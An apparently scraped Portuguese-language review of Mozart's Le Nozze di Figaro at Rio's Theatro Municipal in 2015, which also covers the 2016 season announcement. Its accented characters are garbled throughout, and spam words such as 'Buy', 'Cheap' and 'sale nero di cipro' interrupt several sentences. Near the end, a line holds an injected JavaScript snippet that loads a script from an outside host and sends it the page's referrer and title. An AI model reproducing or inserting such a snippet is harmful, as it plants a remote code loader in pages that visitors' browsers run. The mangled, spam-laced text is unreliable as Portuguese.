CríticaLateralÓpera

Municipal do Rio tem grande noite de A?pera

BelA�ssima produA�A?o de LA�via Sabag, vozes equilibradas e anA?ncio da temporada 2016 marcaram a estreia de As Bodas de FA�garo no TMRJ.

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Le Nozze di Figaro (As Bodas de FA�garo), A?pera-bufa em quatro atos de Wolfgang Amadeus Mozart sobre libreto de Lorenzo da Ponte, com base na comA�dia La Folle JournA�e, ou Le Mariage de Figaro, de Pierre Augustin Caron de Beaumarchais, A� o quarto tA�tulo lA�rico a subir ao palco do Theatro Municipal do Rio de Janeiro na presente temporada, sendo o terceiro sob a responsabilidade da nova administraA�A?o da Casa. A caprichada produA�A?o, original do Theatro SA?o Pedro, de SA?o Paulo, onde estreou em novembro de 2014, fica em cartaz no Rio atA� 29 de novembro.


A obra

A trama das Bodas desenvolve-se anos depois das peripA�cias narradas em O Barbeiro de Sevilha. A espevitada Rosina, depois de se casar com o apaixonado Conde do Barbeiro, torna-se a Condessa de Almaviva. Nas Bodas, nA?s a encontramos mais madura, A�s voltas com a infidelidade do marido.

No dia do casamento de FA�garo e Susanna, o Conde de Almaviva quer fazer valer, por baixo dos panos, o seu direito de senhor, ou seja, o direito de desfrutar da primeira noite das noivas de seu feudo a�� direito este que, publicamente, ele havia abolido. FA�garo, Susanna e a Condessa tramam para evitar que os planos do Conde se concretizem, tudo com a ajuda do pajem Cherubino. No final, como quase sempre ocorre nas comA�dias, tudo acaba bem.

Lorenzo da Ponte precisou cortar muita coisa da pesada crA�tica social presente no original de Beaumarchais (cuja leitura recomendo) devido A� censura da Viena de sua A�poca, mas, mesmo assim, seu libreto para as Bodas de Mozart A� um dos melhores da histA?ria. Ainda que de forma bem mais branda que em Beaumarchais, da Ponte aborda a crA�tica social, especialmente na A?ria do Conde no terceiro ato (VedrA? mentra��io sospiro), e atA� mesmo a opressA?o feminina, tema ainda tA?o em voga em pleno sA�culo 21, como se verifica em uma passagem de Marcellina no ato final, apesar do corte tradicional da A?ria da personagem.

Mozart musicou o libreto de da Ponte com extrema mestria. O que mais impressiona nesta obra-prima A� o carA?ter distinto que o compositor logrou atribuir a cada personagem atravA�s da mA?sica e, ao mesmo tempo, a maneira como ele entrelaA�a essas personalidades diferentes nos nA?meros de conjunto. A Condessa A� mais lA�rica; FA�garo A� extremamente vivaz; Susanna, a espevitada que a Condessa fora um dia; e ainda hA? Cherubino, o pajem adolescente que descobre o amor, a sexualidade e (por que nA?o dizer?) o tesA?o. Cherubino, aliA?s, parece ser um espelho do prA?prio compositor, por tudo que se sabe hoje sobre sua personalidade.


As duas primeiras rA�citas

Foto de JA?lia RA?nai: Rodrigo Esteves e Carla Cottini
Foto de JA?lia RA?nai: Rodrigo Esteves e Carla Cottini

Apontada pelo Movimento.com como a melhor montagem de A?pera no Brasil em 2014, esta produA�A?o que LA�via Sabag Order concebeu para o Theatro SA?o Pedro mantA�m o seu frescor. Na abordagem tradicional da diretora, destaca-se a sua meticulosa direA�A?o de atores, que contribui para cenas bastante movimentadas e hilariantes na medida exata, sem nunca apelar para o exagero. A� essa precisA?o e esse cuidado que fazem de LA�via Sabag uma das profissionais mais requisitadas pelos teatros de A?pera brasileiros atualmente. Como eu jA? havia escrito no ano passado, a diretora aposta tambA�m em uma aproximaA�A?o maior entre a Condessa e Cherubino, acrescentando assim uma deliciosa pitada de sal A� sua visA?o da obra.

Os cenA?rios do argentino NicolA?s Boni, profissional que vem se destacando muito nas produA�A�es paulistanas dos A?ltimos anos, sA?o excelentes e ambientam maravilhosamente a aA�A?o. Como eu tambA�m jA? havia comentado em 2014, as rA?pidas mudanA�as da ambientaA�A?o com a cena aberta A� um dos aspectos que mais chamam a atenA�A?o nesta montagem, aproveitando ao mA?ximo o espaA�o cA?nico. Os belos, adequados e bem executados figurinos de FA?bio Namatame e a sensA�vel luz de Wagner Pinto complementam com eficiA?ncia e qualidade este belA�ssimo presente de Natal antecipado que o Municipal oferece ao pA?blico carioca.

Na rA�cita de estreia, em 19 de novembro, o Coro do Theatro Municipal, preparado por JA�sus Figueiredo e Priscila Bomfim, apresentou-se impecA?vel em todas as suas intervenA�A�es. A Orquestra SinfA?nica do Theatro Municipal ofereceu uma excelente performance sobre os cuidados do maestro Tobias Volkmann, que fez sua estreia em uma produA�A?o profissional de A?pera. Tal estreia nA?o poderia ter sido melhor, pois, durante toda a noite, a A?pera esteve nas mA?os de seu condutor. A orquestra, por sua vez, acompanhou os solistas com delicadeza, e merece menA�A?o a precisa interpretaA�A?o da abertura sinfA?nica. Um destaque importante foi a A?tima atuaA�A?o do cravista Eduardo Antonello, responsA?vel pelo acompanhamento das passagens em recitativo secco.

Dentre os solistas da primeira rA�cita, todos com excelente rendimento cA?nico, a A?nica que deixou a desejar vocalmente foi a mezzo-soprano Malena Dayen (Cherubino), que apresentou uma emissA?o um tanto desigual em vA?rias passagens. Suas duas A?rias dos dois atos iniciais (Non so piA? e Voi che sapete), sempre muito aguardadas, foram interpretadas com correA�A?o, mas sem maior brilho.

A soprano Michele Menezes nA?o comprometeu como Barbarina, enquanto o barA�tono Ciro D’AraA?jo esteve bem como o jardineiro Antonio. O tenor Bruno dos Anjos exerceu o seu direito de roubar a cena em sua curta e A?tima intervenA�A?o como o juiz Don Curzio.

O baixo SA?vio SperA?ndio viveu Bartolo com propriedade, cantando muito bem sua A?ria do primeiro ato, La vendetta. O tenor Giovanni Tristacci foi um Basilio impecA?vel, como impecA?veis vA?m sendo suas atuaA�A�es neste ano tA?o especial que marcou o seu crescimento artA�stico. JA? Lara Cavalcanti, mezzo-soprano do Coro do Municipal que emenda a segunda A?pera consecutiva como solista, ofereceu uma A?tima Marcellina: um valor atA� entA?o nA?o revelado, que a casa descobriu dentro de suas prA?prias paredes.

O barA�tono Douglas Hahn ofereceu uma interpretaA�A?o cerebral do Conde de Almaviva, com A?tima presenA�a. O artista aproveitou bem seu grande momento, a A?ria VedrA? mentra��io sospiro, no comeA�o do terceiro ato. A Condessa da soprano MaA�ra Lautert foi bem construA�da, e, ainda que aqui ou ali pudesse ser notada uma passagem menos satisfatA?ria, seu desempenho geral foi bom, com uma belA�ssima interpretaA�A?o de sua A?ria do terceiro ato, Dove sono i bei momenti.

A soprano Carla Cottini, apontada pelo Movimento.com como revelaA�A?o de 2014 exatamente por sua Susanna no Theatro SA?o Pedro, exibiu seu desenvolvimento tA�cnico ao reencontrar a personagem no Municipal, com uma performance vocalmente bastante segura e cenicamente impecA?vel. Sua A?ria do A?ltimo ato, Deh vieni, non tardar, foi um dos grandes momentos da noite, cantada com doA�ura e extrema delicadeza (e, em boa parte, com a soprano deitada no palco!). Certamente, ainda hA? o que melhorar em termos de projeA�A?o vocal num teatro de grande porte como o Municipal, mas a projeA�A?o e a tA�cnica apresentadas no Rio pela artista jA? foram bastante satisfatA?rias para este momento de sua carreira, e indica que ela segue uma via segura e de aprimoramento constante.

Astro da montagem, o barA�tono Rodrigo Esteves, cantor carioca de sA?lida carreira internacional e que este ano fez sua estreia na Arena de Verona, tambA�m havia sido o protagonista da montagem original paulistana. No Rio, quatro anos depois de sua A?ltima apariA�A?o no mais nobre palco da cidade (Nabucco, 2011), o artista exibiu seus dotes de grande ator e excelente cantor. Seu FA�garo domina o palco sempre que estA? em cena, exibindo uma voz poderosa e, por vezes, nuanA�ada. Suas trA?s A?rias foram brilhantemente interpretadas: Se vuol ballare e Non piA? andrai, ambas do primeiro ato, e ainda Aprite un poa�� quegla��occhi, do ato final.

Ainda na primeira noite, brilharam tambA�m os vA?rios nA?meros de conjuntos (duetos, tercetos etc.), com a participaA�A?o de praticamente todo o elenco, com destaque mA?ximo para o extenso Finale do segundo ato, que se encerra com um delicioso septeto (FA�garo, Susanna, Condessa, Conde, Marcellina, Bartolo e Basilio).

Na segunda rA�cita, em 20 de novembro, houve revezamento em nove de onze personagens. Somente os intA�rpretes de Bartolo (SA?vio SperA?ndio) e Cherubino (Malena Dayen) nA?o revezaram suas partes. Nesta rA�cita, nA?o comprometeram Guilherme Moreira (Don Curzio) e LuA�za Lima (Barbarina). Cleyton Pulzi (BasA�lio) e Beatriz Pampolha (Marcellina) apresentaram rendimentos razoA?veis e o baixo Frederico de Oliveira esteve bem como Antonio.

A soprano Marina ConsA�dera esteve muito bem como a Condessa e, tal qual sua colega da noite anterior, obteve seu melhor momento na A?ria Dove sono i bei momenti Buy , lindamente interpretada. JA? o barA�tono Manuel Alvarez fez um A?timo Conde de Almaviva durante toda a rA�cita.

O barA�tono Felipe Oliveira deu boa conta de FA�garo e exibiu uma voz segura e bem projetada: um nome a ser observado. A soprano Chiara Santoro vinha interpretando Susanna com correA�A?o e um excelente rendimento cA?nico atA� sofrer uma lesA?o no joelho no fim do segundo ato. Com extremo profissionalismo e em respeito ao pA?blico, conseguiu levar o ato atA� o final. No intervalo, porA�m, necessitando de repouso para se recuperar para as prA?ximas rA�citas, foi substituA�da pela colega Carla Cottini, que estava no Municipal para prestigiar a estreia do elenco da segunda noite.

As Bodas de FA�garo, atA� o momento, A� o melhor espetA?culo que subiu ao palco do Theatro Municipal do Rio de Janeiro nesta temporada 2015. A visita A� obrigatA?ria para qualquer amante da mA?sica.

A prA?xima A?pera que subirA? ao palco do Theatro Municipal serA? O Menino Maluquinho, de Ernani Aguiar, com rA�citas entre 05 e 13 de dezembro. Boa pedida para iniciar a crianA�ada no mundo da lA�rica.


Temporada 2016

O tA�tulo desta resenha, sobre a grande noite de A?pera passada no Municipal, refere-se nA?o apenas A� qualidade do espetA?culo apresentado na noite de estreia de As Bodas de FA�garo, mas A� verdadeira celebraA�A?o da A?pera que foi o anA?ncio da Temporada 2016 do Theatro Municipal do Rio de Janeiro, realizado minutos antes de FA�garo subir ao palco.

A temporada anunciada para o prA?ximo ano A� bastante robusta e contempla seis A?peras, quatro balA�s, um espetA?culo especial com uma A?pera e um balA� de curta duraA�A?o cada um, e ainda quatro A?peras em forma de concerto, cinco concertos da OSTM (quatro deles com a participaA�A?o do Coro da casa, incluindo o de abertura da temporada e aquele em parceria com o Municipal de SA?o Paulo a�� Alma Brasileira), alA�m da manutenA�A?o de programas como Domingo no Municipal, Vesperais LA�ricas (que A� a A�pera do Meio-Dia com horA?rio alterado) e a SA�rie Cameristas.

Das sete A?peras que serA?o encenadas, quatro serA?o produA�A�es novas: Orfeu e EurA�dice, de Gluck; O Barbeiro de Sevilha, de Rossini; O Escravo, de Carlos Gomes; e Mozart e Salieri, de Rimsky-Korsakov (que serA? apresentada no mesmo programa que o balA� Sheherazade, que tem mA?sica do mesmo compositor).

Os demais tA�tulos serA?o apresentados em parceria: Don Quichotte, de Massenet, em coproduA�A?o como o Theatro SA?o Pedro, de SA?o Paulo; La BohA?me, de Puccini, na produA�A?o de 2013 do Theatro Municipal de SA?o Paulo; e JenA?fa, de JanaA?A�k, em parceria com a Companhia A�pera Livre, que merece menA�A?o especial.

A Companhia A�pera Livre A� uma iniciativa de artistas brasileiros que se uniram para pensar e produzir montagens de A?pera, especialmente tA�tulos fora do lugar-comum, sempre que possA�vel buscando aproveitar e valorizar tambA�m solistas oriundos dos coros dos teatros em que se apresentarem, e os artistas e tA�cnicos de suas respectivas centrais tA�cnicas de produA�A?o. No caso de JenA?fa, que surge como o tA�tulo mais interessante da prA?xima temporada, por sua raridade, a produA�A?o serA? uma versA?o ampliada da montagem que o diretor AndrA� Heller-Lopes realizou na Argentina em 2013.

Numa visA?o bem crA�tica, A� possA�vel apontar que faltou na temporada anunciada uma A?pera de Verdi ou de Wagner, e esse foi um ponto comum nos comentA?rios ouvidos logo apA?s a divulgaA�A?o. A� preciso reconhecer, no entanto, que a Temporada 2016 do Theatro Municipal do Rio de Janeiro A� bastante variada, possui enorme interesse, e A� a melhor temporada da casa desde tanto tempo, que nem sei dizer quanto foi que o Municipal teve tantas A?peras encenadas assim pela A?ltima vez.

Se a programaA�A?o preparada A�s pressas para o segundo semestre de 2015 jA? foi um belo cartA?o de visitas da administraA�A?o JoA?o Guilherme Ripper/AndrA� Cardoso Buy hatfield pa , a temporada que a dupla pensou para 2016 A� a comprovaA�A?o definitiva de que o Municipal finalmente estA? em boas mA?os, depois de anos de administraA�A�es amadoras e programaA�A�es dA�beis. E a aposta em parcerias com outros teatros faz do Municipal do Rio a casa que mais recorre atualmente a esse expediente tA?o A?bvio e tA?o necessA?rio para a manutenA�A?o de temporadas regulares, sobretudo em A�poca de crise, mas que atA� entA?o era inexplicavelmente tA?o pouco explorado no Brasil.

Outro aspecto que deve ser considerado A� que profissionais que vA?m se destacando na encenaA�A?o de A?peras no Brasil (sejam brasileiros ou estrangeiros) nos A?ltimos anos finalmente ganham espaA�o no Rio de Janeiro, onde atA� entA?o sequer eram cogitados, nA?o se sabe bem por quA?. LA�via Sabag e NicolA?s Boni acabam de estrear no Rio, e no ano que vem estrearA?o o diretor Caetano Vilela e os cenA?grafos Duda Arruk e Juan Guillermo Nova sale nero di cipro come si usa . AlA�m disso, Pier Francesco Maestrini voltarA? a dirigir no Rio depois de muitos anos. A era dos encenadores de ocasiA?o e que nA?o entendem nada de A?pera, em muito boa hora, parece ter ficado para trA?s.

Fotos de JA?lia RA?nai. Na imagem principal, MaA�ra Lautert, Carla Cottini e Rodrigo Esteves.

 

Confira a programaA�A?o completa do Theatro Municipal do Rio de Janeiro para 2016, bem como informaA�A�es sobre como adquirir sua assinatura das sA�ries de A?pera e balA�.

Leia entrevista com Rodrigo Esteves Cheap , publicada emA�agosto.document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Leonardo Marques
Formado em Letras com pós-graduação em Língua Italiana. Frequentador assíduo de concertos e óperas. Participou de cursos particulares sobre ópera. E-mail: leonardo@movimento.com